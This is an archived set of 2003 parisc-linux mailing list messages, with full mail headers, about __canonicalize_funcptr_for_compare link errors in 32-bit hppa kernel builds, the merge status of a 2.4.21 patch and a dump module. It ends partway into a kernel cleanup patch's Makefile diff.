List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18437

On Sat, May 10, 2003 at 08:31:33PM +0000, Joel Soete wrote:
> I have another stupid question: as hppa seems to be the only platform 
> requiring this stuff

ia64 and a few others have similar 64-bit function pointers.
This issue has resurfaced on parisc-linux and ia64-linux mailing
list regularly.  (2 or 3 times per year).

grant


From - Thu Nov 08 21:27:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Yet another '__canonicalize_funcptr_for_compare'
 pb
Date: Sat, 10 May 2003 21:33:22 +0000
Lines: 18
Approved: news@gmane.org
Message-ID: <3EBD7022.6000201@tiscali.be>
References: <200305061642.h46Gg6FU004016@hiauly1.hia.nrc.ca> <3EBD61A5.8030205@tiscali.be> <20030510210823.GC25415@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622443 25561 80.91.229.3 (22 Nov 2014 02:14:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:03 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>, randolph@tausq.org,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat May 10 15:20:13 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 27D454829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 10 May 2003 15:20:13 -0600 (MDT)
Original-Received: from [62.235.170.19] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 19EblH-0000QF-00; Sat, 10 May 2003 23:20:07 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3) Gecko/20030430 Debian/1.3-5
X-Accept-Language: en
In-Reply-To: <20030510210823.GC25415@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18438

Grant Grundler wrote:

>On Sat, May 10, 2003 at 08:31:33PM +0000, Joel Soete wrote:
>  
>
>>I have another stupid question: as hppa seems to be the only platform 
>>requiring this stuff
>>    
>>
>
>ia64 and a few others have similar 64-bit function pointers.
>
Sorry I forget to mentioned that I compiling a 32-bits hppa kernel. Does 
it make diffrence?

Joel



From - Thu Nov 08 21:27:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Yet another '__canonicalize_funcptr_for_compare' pb
Date: Sat, 10 May 2003 17:21:44 -0400 (EDT)
Lines: 55
Approved: news@gmane.org
Message-ID: <200305102121.h4ALLiFk008499@hiauly1.hia.nrc.ca>
References: <3EBD61A5.8030205@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622443 25565 80.91.229.3 (22 Nov 2014 02:14:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:03 +0000 (UTC)
Cc: randolph@tausq.org, parisc-linux@lists.parisc-linux.org
To: joel.soete@tiscali.be (Joel Soete)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat May 10 15:21:47 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id E7C574829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 10 May 2003 15:21:46 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h4ALLjgL008501;
	Sat, 10 May 2003 17:21:45 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h4ALLiFk008499;
	Sat, 10 May 2003 17:21:44 -0400 (EDT)
In-Reply-To: <3EBD61A5.8030205@tiscali.be> from "Joel Soete" at May 10, 2003 08:31:33 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18439

>         dev = __dev_get_by_name(ifr->ifr_name);
>         if (dev) {
>                 /* Device exist */
>                 tun = dev->priv;
> 
>                 if (dev->init != tun_net_init || tun->attached)
>                         return -EBUSY;
> 
>                 /* Check permissions */
> ...
> 
> I suspect first if(dev) because dev is a pointer to a struct but finaly 
> it is in "if (dev->init != tun_net_init..." which would become "if 
> (dev->init != (void*)tun_net_init...".

__canonicalize_funcptr_for_compare is only used in comparisons involving
function pointers.

> Is it the right workaround? fixe?

Probably.  There are some tricky issues with respect to loadable
kernel modules.

> I have another stupid question: as hppa seems to be the only platform 
> requiring this stuff and I don't see how to check all src to track this 
> pb (practicaly only try and chess?), how much would it be difficult to 
> implement this __canonicalize_funcptr_for_compare into the hppa lib kernel?

You can tell if a kernel or module uses __canonicalize_funcptr_for_compare
with nm.  If you find it's used somewhere, check each object module for
it.  You can find the code location of it with "objdump -d".  This will
give a pretty good idea where in the source the comparison occurs.

As to a kernel implementation, this is hard.  If the function pointer
is in user space, canonicalization requires a bunch of tests and then
a call to code in the dynamic loader in the user program.

As far as function pointers in the kernel address space, this would
take some research.  Direct comparison (i.e., using "void *" casts)
will work ok as long as the pointer either points directly to the
kernel function involved or unique plabels are used.  If all
kernel function addresses get bound immediately when a module
is loaded, this would simplify the situation and the canonicalization
could be done simply by looking at the function address in the plabel.
The exact details depend on how the kernel and modules are linked.

The reason why function pointer canonicalization is needed on the
pa is that there can be several plabels pointing to the same function
a user program.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:27:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Yet another '__canonicalize_funcptr_for_compare' pb
Date: Sat, 10 May 2003 17:32:14 -0400 (EDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <200305102132.h4ALWEri010614@hiauly1.hia.nrc.ca>
References: <20030510210823.GC25415@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622443 25569 80.91.229.3 (22 Nov 2014 02:14:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:03 +0000 (UTC)
Cc: joel.soete@tiscali.be, randolph@tausq.org,
	parisc-linux@lists.parisc-linux.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat May 10 15:32:18 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9C2C44829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 10 May 2003 15:32:17 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h4ALWFgL010620;
	Sat, 10 May 2003 17:32:16 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h4ALWEri010614;
	Sat, 10 May 2003 17:32:14 -0400 (EDT)
In-Reply-To: <20030510210823.GC25415@dsl2.external.hp.com> from "Grant Grundler" at May 10, 2003 03:08:23 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18440

> On Sat, May 10, 2003 at 08:31:33PM +0000, Joel Soete wrote:
> > I have another stupid question: as hppa seems to be the only platform 
> > requiring this stuff
> 
> ia64 and a few others have similar 64-bit function pointers.
> This issue has resurfaced on parisc-linux and ia64-linux mailing
> list regularly.  (2 or 3 times per year).

The ia64 situation differs from the parisc situation in that all
calls are made using function descriptors and the descriptors are
unique.  As a result, it is sufficient to simply compare the function
pointers.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:27:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Yet another '__canonicalize_funcptr_for_compare'
Date: Sat, 10 May 2003 17:38:58 -0400 (EDT)
Lines: 14
Approved: news@gmane.org
Message-ID: <200305102138.h4ALcwEd011708@hiauly1.hia.nrc.ca>
References: <3EBD7022.6000201@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622444 25575 80.91.229.3 (22 Nov 2014 02:14:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:04 +0000 (UTC)
Cc: grundler@parisc-linux.org, randolph@tausq.org,
	parisc-linux@lists.parisc-linux.org
To: joel.soete@tiscali.be (Joel Soete)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat May 10 15:39:02 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id C3DAE482D
	for <parisc-linux@lists.parisc-linux.org>; Sat, 10 May 2003 15:39:01 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h4ALcxgL011710;
	Sat, 10 May 2003 17:39:00 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h4ALcwEd011708;
	Sat, 10 May 2003 17:38:58 -0400 (EDT)
In-Reply-To: <3EBD7022.6000201@tiscali.be> from "Joel Soete" at May 10, 2003 09:33:22 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18441

> Sorry I forget to mentioned that I compiling a 32-bits hppa kernel. Does 
> it make diffrence?

Yes.  Function pointer canonicalization is only done on the 32-bit
port.  This is not to say that there aren't issues with 64-bit kernels
in this area, particularly if you use loadable modules.  The 64-bit
code assumes that there is an official procedure descriptor (OPD)
for each function.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:27:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: patch 2.4.21 (follow up)
Date: Sat, 10 May 2003 22:33:08 +0000
Lines: 26
Approved: news@gmane.org
Message-ID: <3EBD7E24.408@tiscali.be>
References: <3EA9466400001A07@ocpmta7.freegates.net> <1051702331.19579.8.camel@dhcp22.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622444 25581 80.91.229.3 (22 Nov 2014 02:14:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat May 10 16:19:49 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 864704829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 10 May 2003 16:19:49 -0600 (MDT)
Original-Received: from [62.235.170.19] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 19Ech1-0001Km-00; Sun, 11 May 2003 00:19:48 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3) Gecko/20030430 Debian/1.3-5
X-Accept-Language: en
In-Reply-To: <1051702331.19579.8.camel@dhcp22.swansea.linux.org.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18442

Alan Cox wrote:

>On Mer, 2003-04-30 at 07:12, Joel Soete wrote:
>  
>
>>>I would like to thanks you again for your help and all those who help me
>>>to build this stuff.
>>>      
>>>
>
>I typed wget, more and patch. The work was all done by people making it
>easy to merge
>
>
>  
>
Hi Alan,

I just grab 2.4.21-rc2 but do not find references to this stuff. As I 
have no experience in this kind of submit, does it means that is 
definitively rejected?

Thanks,
    Joel



From - Thu Nov 08 21:27:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] dump module: new feature
Date: Sat, 10 May 2003 22:35:02 +0000
Lines: 25
Approved: news@gmane.org
Message-ID: <3EBD7E96.6030501@tiscali.be>
References: <3EB6460D.6040704@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622444 25584 80.91.229.3 (22 Nov 2014 02:14:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:04 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat May 10 16:31:47 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 904894829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 10 May 2003 16:31:46 -0600 (MDT)
Original-Received: from [62.235.170.19] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 19Eciu-0001Mp-00; Sun, 11 May 2003 00:21:44 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3) Gecko/20030430 Debian/1.3-5
X-Accept-Language: en
In-Reply-To: <3EB6460D.6040704@admin.france.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18443

Bruno Vidal wrote:

>     Hi
> For people who are intersting to it, the dump modules
> is now checking that it is a swap device before
> configuring it. So it remove the risk to dump
> to a file system. It check for the swap magic
> "SWAP-SPACE" (v0) or "SWAPSPACE2" (v1). The
> partition is not necessary an active one,
> it should only be created by mkswap (so no
> file system on it).
>
>     Cheers.
>
Hi Bruno,

I just recover my b2k test system (even I quiet sure to find from place 
to place some files corrupted by its crash) and I would so now find some 
free time to test your last patch if you would still submit it to me.

Regards,
    Joel




From - Thu Nov 08 21:27:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: patch 2.4.21 (follow up)
Date: 10 May 2003 23:13:52 +0100
Lines: 6
Approved: news@gmane.org
Message-ID: <1052604831.19351.4.camel@dhcp22.swansea.linux.org.uk>
References: <3EA9466400001A07@ocpmta7.freegates.net>
	 <1051702331.19579.8.camel@dhcp22.swansea.linux.org.uk>
	 <3EBD7E24.408@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622444 25588 80.91.229.3 (22 Nov 2014 02:14:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <joel.soete@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat May 10 17:12:21 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from lxorguk.ukuu.org.uk (pc2-cwma1-4-cust86.swan.cable.ntl.com [213.105.254.86])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8B00B4829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 10 May 2003 17:12:19 -0600 (MDT)
Original-Received: from dhcp22.swansea.linux.org.uk (dhcp22.swansea.linux.org.uk [127.0.0.1])
	by lxorguk.ukuu.org.uk (8.12.8/8.12.5) with ESMTP id h4AMDuRQ019847;
	Sat, 10 May 2003 23:13:56 +0100
Original-Received: (from alan@localhost)
	by dhcp22.swansea.linux.org.uk (8.12.8/8.12.8/Submit) id h4AMDsh0019845;
	Sat, 10 May 2003 23:13:54 +0100
X-Authentication-Warning: dhcp22.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <3EBD7E24.408@tiscali.be>
X-Mailer: Ximian Evolution 1.2.2 (1.2.2-5) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18444

Its in the 2.4.21rc2-ac tree. I've sent most of it to Marcelo on the
grounds that it is zero risk even in a -rc because parisc doesnt work
in his tree anyway. He may ask me to wait for 2.4.22pre1 though




From - Thu Nov 08 21:27:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH-2.5] Various cleanups
Date: Sun, 11 May 2003 15:30:37 +0200
Lines: 486
Approved: news@gmane.org
Message-ID: <20030511133037.GN27494@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="j/dCmPD2xgTAf6cP"
X-Trace: ger.gmane.org 1416622445 25598 80.91.229.3 (22 Nov 2014 02:14:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:05 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun May 11 07:30:40 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2B998482D
	for <parisc-linux@lists.parisc-linux.org>; Sun, 11 May 2003 07:30:39 -0600 (MDT)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id EABA84ABDE; Sun, 11 May 2003 15:30:37 +0200 (CEST)
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18445

--j/dCmPD2xgTAf6cP
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hi!

This patch does:

 - Add various void * casts to pointer compares (to solve the
   __canonicalize_funcptr_for_compare missing symbol when built as
   module because libgcc.a isn't linked into these modules)

 - Ressurect CONFIG_BINFM_SOM when built as module: the hpux/ directory
   was completely missing (this part needs cleanup from a Makefile
   specialist), EXPORT_SYMBOL() the hpux_gateway_page if neccessary.

 - Export some more symbols (memchr, pdc_tod_read, pdc_tod_set,
   __flush_dcache_page, dcache_stride) to make various modules happy.


Please look at the first chunk - I don't know how to code this...

MfG, JBG


Index: arch/parisc/Makefile
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
RCS file: /var/cvs/linux-2.5/arch/parisc/Makefile,v
retrieving revision 1.25
diff -u -r1.25 Makefile
--- arch/parisc/Makefile	28 Mar 2003 16:52:18 -0000	1.25
+++ arch/parisc/Makefile	11 May 2003 13:09:16 -0000
@@ -58,7 +58,12 @@
 CFLAGS	+=3D $(cflags-y)
=20
 kernel-y			:=3D mm/ kernel/ math-emu/ kernel/init_task.o
-kernel-$(CONFIG_BINFMT_SOM)	+=3D hpux/
+ifdef CONFIG_BINFMT_SOM
+kernel-y	+=3D hpux/
+endif
+ifdef CONFIG_BINFMT_SOM_MODULE
